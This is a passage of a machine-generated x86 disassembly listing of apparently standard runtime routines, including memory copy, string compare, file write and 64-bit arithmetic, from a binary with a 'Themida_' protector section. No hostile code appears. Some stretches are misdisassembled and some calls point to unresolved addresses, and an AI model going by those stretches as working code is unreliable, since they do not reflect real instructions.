		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------

loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------

loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------

loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx

loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------

loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------

loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC91C
		call	sub_422608
		mov	edx, dword_4DC91C
		pop	ecx
		mov	ecx, dword_4DC918
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC91C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------

loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC918
		sub	ecx, dword_4DC91C
		mov	dword_4DC91C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC918, ecx

loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC918, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC91C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC91C
		pop	ecx

loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC91C
		mov	dword_4DC918, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 277010Fh
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2860000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB2E2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB2E0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB2DE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB2DA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB2D8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB2D0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------

loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2850000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh

loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB2D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB2D0, eax
		pop	esi

loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB32C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi

loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh

loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------

loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268

loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------

loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h

loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------

loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB278, 16h
		or	eax, 0FFFFFFFFh

loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------

loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------

loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h

loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax

loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------

loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3

loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx

loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax

loc_41D368:				; DATA XREF: Themida_:00544EFFo
		cmp	eax, edi
		jb	short loc_41D3AA

loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------

loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1

loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]

loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------

loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi

loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2670D3Eh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 267084Ch
		push	eax
		call	sub_4203DF
		pop	ecx

loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB278, 0Dh
		mov	dword_4DB27C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------

loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------

loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F

loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi

loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------

loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2

loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
